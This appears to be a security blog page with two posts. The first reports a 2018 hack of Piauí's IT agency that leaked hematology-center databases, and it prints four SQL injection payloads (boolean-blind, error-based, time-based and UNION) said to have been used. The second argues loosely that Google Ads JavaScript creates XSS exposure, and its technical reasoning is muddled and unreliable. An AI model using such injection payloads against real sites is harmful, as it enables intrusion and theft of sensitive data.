Agência de Tecnologia da Informação do Piauí Hacked by Shizen & Ftp

Just before the start of the new year, December 31st 2018, hackers “Shizen” and “Ftp” of New World Hackers announced a joint hack of the Information Technology Agency of Piauí, Brasil, managing to leak the contents of databases tied to the Hematology and Hemotherapy Center of Piaui online. Having covered Shizen many times throughout the past, this appears to be the first hack carried out under the banned of New World Hackers, after previously conducting hacks on behalf of Pryzraky – perhaps indicating a change of teams or allegiances. 

Regardless, to serve as proof of the hack, in a data dump posted to Twitter this morning, the hackers posted a mirror of the sites contents – 21 different databases in all. Analyzing the hack, it appears as though the group was able to gain remote access to site databases through a multitude of SQL vulnerabilities left unaddressed by site security architects, ultimately granting hackers access to PHP 5.3.3 files, attached to a MySQL 5.0 Database hosted on an Apache 2.2.16 web server. In another surprise move, Shizen even released the exact vulnerabilities effected and payloads delivered within the framework of the leak itself – something normally redacted or kept private.

For Example, Here are The 4 SQL Vulnerabilities Implicated:

Website Hit: hxxp://

Vulnerability 1: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=13′ AND 7214=7214 AND ‘aWjt’=’aWjt

Vulnerability 2: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=13′ AND (SELECT 8268 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(8268=8268,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘lEbP’=’lEbP

Vulnerability 3: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=13′ AND SLEEP(5) AND ‘ouoQ’=’ouoQ

Vulnerability 4: UNION query
Title: Generic UNION query (NULL) – 4 columns
Payload: id=13′ UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a767071,0x78547676494a654761784744686253746e706c6f6a6a57526655576a6e6863626866495874446f56,0x716a716a71)– EKMl

Raw Database Leak:

Image may contain: text

Ads By Google Susceptible To XSS Attacks

Perhaps my mind is a bit scarred from all that I know and have experience, but the other day a friend of mine informed me how he had installed Ads by Google to start generating new revenue for his website, and the first thought that popped into my mind was how wide open to attack Google ads made his security headers and website in general. I know, totally normal thought process – right?

I say this because in order to display an ads content, Google Ads uses a mixture of JavaScript embedded within HTML, inserted into either into the body of a blog post or website security header itself. For example, the code looks something like this:

Image may contain: text

Installing Ads by Google Is A Built In Security Flaw

As Google Ad Automation‘s own web page even states, “Google Ads scripts provide a way to programmatically control your Google Ads data using simple JavaScript in a browser-based IDE.” Adding that “Only entry-level familiarity with JavaScript is needed.” What Google doesn’t explain though, is that these JavaScript requests are sent through http transports and rely on http headers to properly display the ads content. Moreover, these scripts come from 3rd parties completely un-affiliated with your site or site’s security structure/rules, essentially creating a giant backdoor/window into your website completely outside of your control. Moreover, considering that Google utilizes the simplest and most basic structure of JavaScript to form their ads, for the same reason, this also makes the code incredibly easy to compromise – if you are into that sort of string 😉

Granted I go a little overboard with my own security measures, but I’ve made it a point to block bad query strings, specifically to block Cross-Site Scripting (XSS) attacks from effecting my site. I have also taken the additional steps of installing https exclusive security headers through HSTS, while editing my website on Mozilla with the NoScript browser add-on enabled – just in case my firewall doesn’t detect or block every XSS attack. For reasons I have already explained, adding Ads by Google would essentially throw both of these measures right out the window.

Quite simply, the way Google structures their codes in order to enable ads on your website is a built in Cross-Site Scripting (XSS) attack just waiting to happen. Not only do these ads allow hackers to bypass a secured connection through your pages security headers, but the embedded JavaScript within the body of an article post might as well just create a giant hole/window right in the middle of your website – allowing for the direct injection of malicious code/script. Consequently enough, this is also why you will never see Google ads ever featured on this site.

If you are a little less paranoid, not running a security based web business and believe the added revenue may be worth the added security risk, then by all means go make your money – afterall, millions of other people already have. Hell, even I know I’m going to have to suck it up one day and start subscribing to their ads, just not here for this site.